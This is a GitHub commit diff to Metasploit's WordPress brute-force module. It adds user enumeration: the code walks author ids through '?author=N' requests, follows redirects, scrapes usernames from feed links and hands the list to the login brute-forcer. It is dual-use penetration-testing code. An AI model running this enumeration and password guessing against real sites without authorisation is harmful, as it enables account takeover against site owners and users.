Skip to content

Commit 2746a57

Browse files
committed
Merge branch 'zgrace-wordpress_login_enum' of git://github.com/403labs/metasploit-framework into 403labs-zgrace-wordpress_login_enum
2 parents 3daea91 + d4bdf1b commit 2746a57

File tree

1 file changed

+53
-10
lines changed

1 file changed

+53
-10
lines changed

modules/auxiliary/scanner/http/wordpress_login_enum.rb

Lines changed: 53 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,12 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
84
# web site for more information on licensing and terms of use.
95
# http://metasploit.com/
106
##
117

8+
require 'uri'
9+
1210

1311
class Metasploit3 < Msf::Auxiliary
1412

@@ -20,12 +18,12 @@ class Metasploit3 < Msf::Auxiliary
2018

2119
def initialize
2220
super(
23-
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
24-
'Version' => '$Revision$',
25-
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
26-
'Author' => [
21+
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
22+
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
23+
'Author' => [
2724
'Alligator Security Team',
28-
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
25+
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
26+
'Zach Grace <zgrace[at]404labs.com>'
2927
],
3028
'References' =>
3129
[
@@ -39,8 +37,11 @@ def initialize
3937
register_options(
4038
[
4139
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
42-
OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),
40+
OptBool.new('VALIDATE_USERS', [ true, "Validate usernames", true ]),
4341
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
42+
OptBool.new('ENUMERATE_USERNAMES', [ true, "Enumerate usernames", true ]),
43+
OptString.new('RANGE_START', [false, 'First user id to enumerate', '1']),
44+
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10']),
4445
], self.class)
4546

4647
end
@@ -51,6 +52,9 @@ def target_url
5152

5253

5354
def run_host(ip)
55+
if datastore['ENUMERATE_USERNAMES']
56+
enum_usernames
57+
end
5458
if datastore['VALIDATE_USERS']
5559
@users_found = {}
5660
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
@@ -181,4 +185,43 @@ def do_login(user=nil,pass=nil)
181185
rescue ::Timeout::Error, ::Errno::EPIPE
182186
end
183187
end
188+
189+
def enum_usernames()
190+
usernames = Tempfile.new('wp_enum')
191+
begin
192+
for i in datastore['RANGE_START']..datastore['RANGE_END']
193+
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
194+
print_status "Requesting #{uri}"
195+
res = send_request_cgi({
196+
'method' => 'GET',
197+
'uri' => uri
198+
})
199+
200+
if (res and res.code == 301)
201+
uri = URI(res.headers['Location'])
202+
uri = "#{uri.path}?#{uri.query}"
203+
res = send_request_cgi({
204+
'method' => 'GET',
205+
'uri' => uri
206+
})
207+
end
208+
209+
if (res == nil)
210+
print_error("Error getting response.")
211+
elsif (res.code == 200)
212+
#username = /<link rel="alternate" type="application\/rss\+xml" title=".*" href="http[s]*:\/\/.*\/(.*)\/feed\/" \/>/.match(res.body.to_s)[1]
213+
username = /href="http[s]*:\/\/.*\/author\/(.*)\/feed\//.match(res.body.to_s)[1]
214+
usernames.write("#{username}\n")
215+
print_good "Found user #{username} with id #{i}"
216+
elsif (res.code == 404)
217+
print_status "No user with id #{i} found"
218+
else
219+
print_error "Error, #{res.code} returned."
220+
end
221+
end
222+
ensure
223+
datastore['USER_FILE'] = usernames.path
224+
usernames.close
225+
end
226+
end
184227
end

0 commit comments

Comments
 (0)